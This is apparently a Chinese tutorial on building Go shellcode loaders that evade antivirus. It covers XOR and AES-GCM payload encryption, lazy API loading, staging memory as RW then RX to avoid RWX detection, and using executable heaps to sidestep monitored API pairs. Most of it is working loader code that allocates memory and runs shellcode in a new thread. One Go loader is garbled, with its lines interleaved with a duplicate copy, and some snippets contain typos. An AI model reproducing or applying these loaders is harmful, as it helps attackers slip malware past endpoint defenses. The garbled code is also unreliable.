从EXE开始

编译参数

不同的编译参数,编译出来的文件体积是不同的,同样免杀效果也是不同的,所以针对一款从未测试的杀软,实际上我们应该最好先测试不同编译参数的效果

如果有个编译参数,杀软是无条件杀的,那写什么代码都没有效果

签名

资源

文件熵值

正常文件在4.8-7.2之间

编译环境

  • 在虚拟机中编译
  • 在linux中交叉编译

从代码出发

针对查杀,最需要的还是从代码出发

package main

import (
	"syscall"
	"unsafe"
)
func main() {
	// 1. 加载 kernel32.dll
	kernel32 := syscall.MustLoadDLL("kernel32.dll")
	// RtlMoveMemory 由 ntdll.dll 导出,单独加载 ntdll
	ntdll := syscall.MustLoadDLL("ntdll.dll")
	// 2. 从对应 DLL 句柄中获取所需 Windows API 地址
	VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
	RtlMoveMemory := ntdll.MustFindProc("RtlMoveMemory")
	CreateThread := kernel32.MustFindProc("CreateThread")
	WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")
	CloseHandle := kernel32.MustFindProc("CloseHandle") // 显式获取 CloseHandle API 地址
	// 3. Go 中定义保存 shellcode 的字节切片 (此处替换为实际 shellcode 字节)
	byteSlice := []byte{
		0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00,
		// ... 填充完整的 Shellcode 数组
	}
	// 4. 申请内存区域
	// MEM_COMMIT (0x1000) | MEM_RESERVE (0x2000) = 0x3000
	// PAGE_EXECUTE_READWRITE = 0x40
	addr, _, _ := VirtualAlloc.Call(
		0,
		uintptr(len(byteSlice)),
		0x3000,
		0x40,
	)
	if addr == 0 {
		return
	}
	// 5. 将 Shellcode 复制到申请的动态内存中
	RtlMoveMemory.Call(
		addr,
		uintptr(unsafe.Pointer(&byteSlice[0])),
		uintptr(len(byteSlice)),
	)
	// 6. 创建线程执行 Shellcode
	thread, _, _ := CreateThread.Call(
		0,
		0,
		addr,
		0,
		0,
		0,
	)
	if thread == 0 {
		return
	}
	// 7. 等待线程执行结束,避免主进程提前挂起/退出
	// INFINITE = 0xFFFFFFFF
	WaitForSingleObject.Call(thread, 0xFFFFFFFF)
	// 8. 释放创建的线程内核对象句柄
	CloseHandle.Call(thread)
}

包处理

调用Windows api的包

import(
    "syscall"
    "unsafe"
)

其中syscall这个内置包是帮助我们调用Windows api的,能否使用其他包

golang.org/x/sys/windows

示例代码

package main

import "golang.org/x/sys/windows"

func main(){

}

使用懒加载

// 1. 加载 kernel32.dll
kernel32 := syscall.NewLazyDLL("kernel32.dll")
// RtlMoveMemory 由 ntdll.dll 导出,单独加载 ntdll
ntdll := syscall.NewLazyDLL("ntdll.dll")
// 2. 从对应 DLL 句柄中获取所需 Windows API 地址
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
RtlMoveMemory := ntdll.NewProc("RtlMoveMemory")
CreateThread := kernel32.NewProc("CreateThread")
WaitForSingleObject := kernel32.NewProc("WaitForSingleObject")
CloseHandle := kernel32.NewProc("CloseHandle") // 显式获取 CloseHandle API 地址

shellcode的处理

异或处理

python生成加密shellcode:

def xorProcess(data, key):
    if len(key) == 0:
        return data
    kl = len(key)
    # 多字节 key 轮转异或,与 Go 端 xorProcess 逻辑一一对应
    return [data[i] ^ key[i % kl] for i in range(len(data))]

def main():
    key = [0x20, 0x99, 0xaf, 0x5c, 0x7e]  # 多字节 key,需与 Go 端完全一致
    data = [...]  # shellcode 信息
    crypto = xorProcess(data, key)
    print(crypto)

if __name__ == '__main__':
    main()

go处理解密模块:

package main

import (
	"bytes"
	"fmt"
	"syscall"
	"unsafe"
)

// xorProcess 实现对数据流的对称异或变换
func xorProcess(data []byte, key []byte) []byte {
	if len(key) == 0 {
		return data
	}
	result := make([]byte, len(data))
	keyLen := len(key)
	for i := 0; i < len(data); i++ {
		result[i] = data[i] ^ key[i%keyLen]
	}
	return result
}

func main() {
	// Raw Payload 示例
	rawShellcode := []byte{0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00, 0x60, 0x89, 0xe5}
	key := []byte{0x20, 0x99, 0xaf, 0x5c, 0x7e} // 建议增加 Key 长度以提高混淆熵值

	// 执行解密
	decryptedPayload := xorProcess(rawShellcode, key)

	// 加载 Windows 系统 DLL 句柄
	kernel32 := syscall.MustLoadDLL("kernel32.dll")
	ntdll := syscall.MustLoadDLL("ntdll.dll")

	// 解析必要 API
	virtualAlloc := kernel32.MustFindProc("VirtualAlloc")
	virtualProtect := kernel32.MustFindProc("VirtualProtect")
	rtlMoveMemory := ntdll.MustFindProc("RtlMoveMemory")
	createThread := kernel32.MustFindProc("CreateThread")
	waitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")
	closeHandle := kernel32.MustFindProc("CloseHandle")

	payloadLen := uintptr(len(decryptedPayload))

	// 1. 优先申请 PAGE_READWRITE (0x04) 权限内存,规避 RWX 静态检测规则
	addr, _, err := virtualAlloc.Call(
		0,
		payloadLen,
		0x3000, // MEM_COMMIT (0x1000) | MEM_RESERVE (0x2000)
		0x04,   // PAGE_READWRITE
	)
	if addr == 0 {
		fmt.Printf("[-] VirtualAlloc 失败: %v\n", err)
		return
	}

	// 2. 将数据拷贝至 RW 内存区域
	rtlMoveMemory.Call(
		addr,
		uintptr(unsafe.Pointer(&decryptedPayload[0])),
		payloadLen,
	)

	// 3. 将内存权限更改为 PAGE_EXECUTE_READ (0x20),消除写权限以满足 W^X 安全规范
	var oldProtect uint32
	success, _, errProtect := virtualProtect.Call(
		addr,
		payloadLen,
		0x20, // PAGE_EXECUTE_READ
		uintptr(unsafe.Pointer(&oldProtect)),
	)
	if success == 0 {
		fmt.Printf("[-] VirtualProtect 权限切换失败: %v\n", errProtect)
		return
	}

	// 4. 创建线程执行
	threadHandle, _, _ := createThread.Call(
		0,
		0,
		addr,
		0,
		0,
		0,
	)
	if threadHandle == 0 {
		return
	}

	// 5. 等待线程同步并回收句柄
	waitForSingleObject.Call(threadHandle, 0xFFFFFFFF) // INFINITE
	closeHandle.Call(threadHandle)
}

aes-gcm加解密

python加密

import os
import base64
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
 
def encrypt_gcm(plaintext: bytes, key: bytes, associated_data: bytes = None) -> str:
    """
    使用 AES-GCM 加密明文
    :param plaintext: 待加密的明文字节流
    :param key: 加密密钥,必须为 16 (AES-128)、24 (AES-192) 或 32 (AES-256) 字节
    :param associated_data: 附加认证数据 (AAD),参与认证但不加密,可选
    :return: Base64 编码后的密文串(包含 12 字节 Nonce + 密文 + 16 字节 Tag)
    """
    aesgcm = AESGCM(key)
    
    # 推荐的 GCM 模式 Nonce (IV) 长度为 12 字节 (96-bit)
    # 必须保证相同的 key 下 Nonce 绝对不重复,因此使用加密安全的随机数生成器
    nonce = os.urandom(12)
    
    # encrypt 方法会自动将 16 字节的 Tag 拼接在密文末尾:ciphertext + tag
    ciphertext = aesgcm.encrypt(nonce, plaintext, associated_data)
    
    # 将 nonce 与 (ciphertext+tag) 组合,方便传输与存储
    payload = nonce + ciphertext
    return base64.b64encode(payload).decode('utf-8')
    
def main():
    # 生成 256 位 (32 字节) 的随机密钥
    key = AESGCM.generate_key(bit_length=256)
    
    plaintext = b"Sensitive payload for Python AES-GCM encryption."
    aad = b"Header: Protocol v1.0"  # 可选的附加认证数据,例如报文头
 
    print(f"原始明文: {plaintext.decode()}")
    cipher_b64 = encrypt_gcm(plaintext, key, associated_data=aad)
    print(f"GCM 加密结果 (Base64): {cipher_b64}")
 
if __name__ == "__main__":
    main()

go处理解密模块

package main
 
import (
	"crypto/aes"
	"crypto/cipher"
	"encoding/base64"
	"errors"
	"fmt"
	"syscall"
	"unsafe"
)
 
// DecryptGCM 使用 AES-GCM 算法解密密文
func DecryptGCM(cryptoText string, key []byte, aad []byte) ([]byte, error) {
	ciphertext, err := base64.StdEncoding.DecodeString(cryptoText)
	if err != nil {
		return nil, fmt.Errorf("Base64 解码失败: %w", err)
	}
	block, err := aes.NewCipher(key)
	if err != nil {
		return nil, fmt.Errorf("创建 cipher 结构失败: %w", err)
	}
	gcm, err := cipher.NewGCM(block)
	if err != nil {
		return nil, fmt.Errorf("创建 GCM 模式失败: %w", err)
	}
	nonceSize := gcm.NonceSize()
	if len(ciphertext) < nonceSize {
		return nil, errors.New("密文数据长度不足")
	}
 
	// 从密文中提取前缀 Nonce 与实际的密文段
	nonce, cipherData := ciphertext[:nonceSize], ciphertext[nonceSize:]
 
	// Open 验证 Tag 并解密数据,如果数据被篡改,此处将直接报错
	plaintext, err := gcm.Open(nil, nonce, cipherData, aad)
	if err != nil {
		return nil, fmt.Errorf("解密认证失败(数据可能被篡改): %w", err)
	}
	return plaintext, nil
}
 
func main() {
	// AES-256 需要 32 字节密钥;与 Python 端 generate_key(256) 对应
	key := []byte("12345678901234567890123456789012") // 32 字节
	// AAD 必须与 Python 端 encrypt_gcm(..., associated_data=...) 完全一致,否则认证失败
	aad := []byte("Header: Protocol v1.0")
	// cipherText 为 Python encrypt_gcm() 输出的 Base64 字符串(12B Nonce + 密文 + 16B Tag)
	cipherText := "REPLACE_WITH_PYTHON_OUTPUT_BASE64"
 
	// 1. 解密得到明文 shellcode
	shellcode, err := DecryptGCM(cipherText, key, aad)
	if err != nil {
		fmt.Printf("[-] 解密失败: %v\n", err)
		return
	}
 
	// 2. 加载 Windows 系统 DLL 句柄
	kernel32 := syscall.MustLoadDLL("kernel32.dll")
	ntdll := syscall.MustLoadDLL("ntdll.dll")
 
	// 3. 解析必要 API
	virtualAlloc := kernel32.MustFindProc("VirtualAlloc")
	virtualProtect := kernel32.MustFindProc("VirtualProtect")
	rtlMoveMemory := ntdll.MustFindProc("RtlMoveMemory")
	createThread := kernel32.MustFindProc("CreateThread")
	waitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")
	closeHandle := kernel32.MustFindProc("CloseHandle")
 
	payloadLen := uintptr(len(shellcode))
 
	// 4. 优先申请 PAGE_READWRITE (0x04) 权限内存,规避 RWX 静态检测规则
	addr, _, errAlloc := virtualAlloc.Call(
		0,
		payloadLen,
		0x3000, // MEM_COMMIT (0x1000) | MEM_RESERVE (0x2000)
		0x04,   // PAGE_READWRITE
	)
	if addr == 0 {
		fmt.Printf("[-] VirtualAlloc 失败: %v\n", errAlloc)
		return
	}
 
	// 2. 加载 Windows 系统 DLL 句柄
	// 5. 将 shellcode 拷贝至 RW 内存区域
	kernel32 := syscall.MustLoadDLL("kernel32.dll")
	rtlMoveMemory.Call(
	ntdll := syscall.MustLoadDLL("ntdll.dll")
		addr,
 
		uintptr(unsafe.Pointer(&shellcode[0])),
	// 3. 解析必要 API
		payloadLen,
	virtualAlloc := kernel32.MustFindProc("VirtualAlloc")
	)
	virtualProtect := kernel32.MustFindProc("VirtualProtect")
 
	rtlMoveMemory := ntdll.MustFindProc("RtlMoveMemory")
	// 6. 将内存权限更改为 PAGE_EXECUTE_READ (0x20),消除写权限以满足 W^X 安全规范
	createThread := kernel32.MustFindProc("CreateThread")
	var oldProtect uint32
	waitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")
	success, _, errProtect := virtualProtect.Call(
	closeHandle := kernel32.MustFindProc("CloseHandle")
		addr,
 
		payloadLen,
	payloadLen := uintptr(len(shellcode))
		0x20, // PAGE_EXECUTE_READ
 
		uintptr(unsafe.Pointer(&oldProtect)),
	// 4. 优先申请 PAGE_READWRITE (0x04) 权限内存,规避 RWX 静态检测规则
	)
	addr, _, errAlloc := virtualAlloc.Call(
	if success == 0 {
		0,
		fmt.Printf("[-] VirtualProtect 权限切换失败: %v\n", errProtect)
		payloadLen,
		return
		0x3000, // MEM_COMMIT (0x1000) | MEM_RESERVE (0x2000)
	}
		0x04,   // PAGE_READWRITE
 
	)
	// 7. 创建线程执行 shellcode
	if addr == 0 {
	threadHandle, _, _ := createThread.Call(0, 0, addr, 0, 0, 0)
		fmt.Printf("[-] VirtualAlloc 失败: %v\n", errAlloc)
	if threadHandle == 0 {
		return
	}
 
	// 5. 将 shellcode 拷贝至 RW 内存区域
	// 8. 等待线程同步并回收句柄
	rtlMoveMemory.Call(
	waitForSingleObject.Call(threadHandle, 0xFFFFFFFF) // INFINITE
		addr,
	closeHandle.Call(threadHandle)
		uintptr(unsafe.Pointer(&shellcode[0])),
		payloadLen,
	)
 
	// 6. 将内存权限更改为 PAGE_EXECUTE_READ (0x20),消除写权限以满足 W^X 安全规范
	var oldProtect uint32
	success, _, errProtect := virtualProtect.Call(
		addr,
		payloadLen,
		0x20, // PAGE_EXECUTE_READ
		uintptr(unsafe.Pointer(&oldProtect)),
	)
	if success == 0 {
		fmt.Printf("[-] VirtualProtect 权限切换失败: %v\n", errProtect)
		return
	}
 
	// 7. 创建线程执行 shellcode
	threadHandle, _, _ := createThread.Call(0, 0, addr, 0, 0, 0)
	if threadHandle == 0 {
		return
	}
 
	// 8. 等待线程同步并回收句柄
	waitForSingleObject.Call(threadHandle, 0xFFFFFFFF) // INFINITE
	closeHandle.Call(threadHandle)
}

申请内存

使用的函数上的操作

除了VirtualAlloc,还可以使用HeapAlloc,以及AllocADsMem

virtualAlloc.Call(
		0,
		payloadLen,
		0x3000, // MEM_COMMIT (0x1000) | MEM_RESERVE (0x2000)
		0x04,   // PAGE_READWRITE
	)

这行代码调用了VirtualAlloc函数来在进程的虚拟地址中分配地址内存。

addr,_,err:=HeapCreate.Call(uintptr(0x00040000),0,0)
HeapAlloc.Call(heapAddr,0,uintptr(len(sc)))

addrPtr:=addr
  • HeapCreate函数:由 kernel32.dll 导出,用于创建一个私有的堆对象,进程随后可通过 HeapAlloc 从该堆中分配内存。函数原型为 HANDLE HeapCreate(DWORD flOptions, SIZE_T dwInitialSize, SIZE_T dwMaximumSize)。其中 flOptions 指定堆的属性,示例中取值 0x00040000 (HEAP_CREATE_ENABLE_EXECUTE) 表示堆内分配的内存带有可执行权限——这是这套技术的关键,使后续申请到的内存天然可执行,无需再调用 VirtualProtect 切换权限。dwInitialSize 为初始提交大小(传 0 由系统决定),dwMaximumSize 为堆上限(传 0 表示可动态扩展)。返回值为新堆句柄,失败返回 0。需注意:使用本标志前要确认免杀场景确实需要堆上可执行内存,因为可执行堆本身也是部分 EDR 的启发式特征。
  • HeapAlloc函数:由 kernel32.dll 导出,用于从 HeapCreate 创建(或 GetProcessHeap 获取)的堆中分配一块内存。函数原型为 LPVOID HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes)。hHeap 为 HeapCreate 返回的堆句柄,dwFlags 为分配控制标志(传 0 表示默认,还可取 0x00000001 HEAP_NO_SERIALIZE 跳过锁开销或 0x00000008 HEAP_ZERO_MEMORY 将内存清零),dwBytes 为所需字节数。返回值为分配到的内存起始地址,失败返回 NULL。由于堆在创建时启用了 HEAP_CREATE_ENABLE_EXECUTE,此处分配的内存可直接写入并执行 shellcode,从而规避对 VirtualAlloc + VirtualProtect 这一被重点监控组合的调用。

内存分配类型

virtualAlloc是Windows操作系统中用于在进程的虚拟地址空间中分配或预留内存的函数,这个函数的调用通常需要指定几个参数,包括分配的起始地址、大小、分配类型以及页面保护选项

VirtualAlloc(0,uintptr(len(sc)),0x1000|0x2000,0x04)
VirtualAlloc(0,uintptr(len(sc)),0x1000,0x04)

属性上的操作

申请可读写0x04→直接申请可读可写可执行0x40

add,_,_:=VirtualAlloc(0,uintptr(len(sc)),0x1000|0x2000,0x04)
oldProtect:=0x04
VirtualProtect.Call(addr,uintptr(len(sc)),0x40,unintptr(unsafe.Pointer(&oldProtect)))

申请可读写0x04→直接申请可读可执行0x20,sgn编码0x40

add,_,_:=VirtualAlloc(0,uintptr(len(sc)),0x1000|0x2000,0x04)
oldProtect:=0x04
VirtualProtect.Call(addr,uintptr(len(sc)),0x20,unintptr(unsafe.Pointer(&oldProtect)))

申请可读写0x04→直接申请可读可执行0x20,sgn编码0x40→直接申请可读可写可执行0x40

add,_,_:=VirtualAlloc(0,uintptr(len(sc)),0x1000|0x2000,0x04)
oldProtect:=0x04
VirtualProtect.Call(addr,uintptr(len(sc)),0x20,unintptr(unsafe.Pointer(&oldProtect)))
oldProtect1:=0x20
VirtualProtect.Call(addr,uintptr(len(sc)),0x40,unintptr(unsafe.Pointer(&oldProtect1)))

复制shellcode

rtlCopyMemory := ntdll.MustFindProc("RtlCopyMemory") //只支持64位
rtlMoveMemory := ntdll.MustFindProc("RtlMoveMemory")  //支持32位和64位

//更改内存复制代码
copy(())

运行方法

详见4 加载器的编写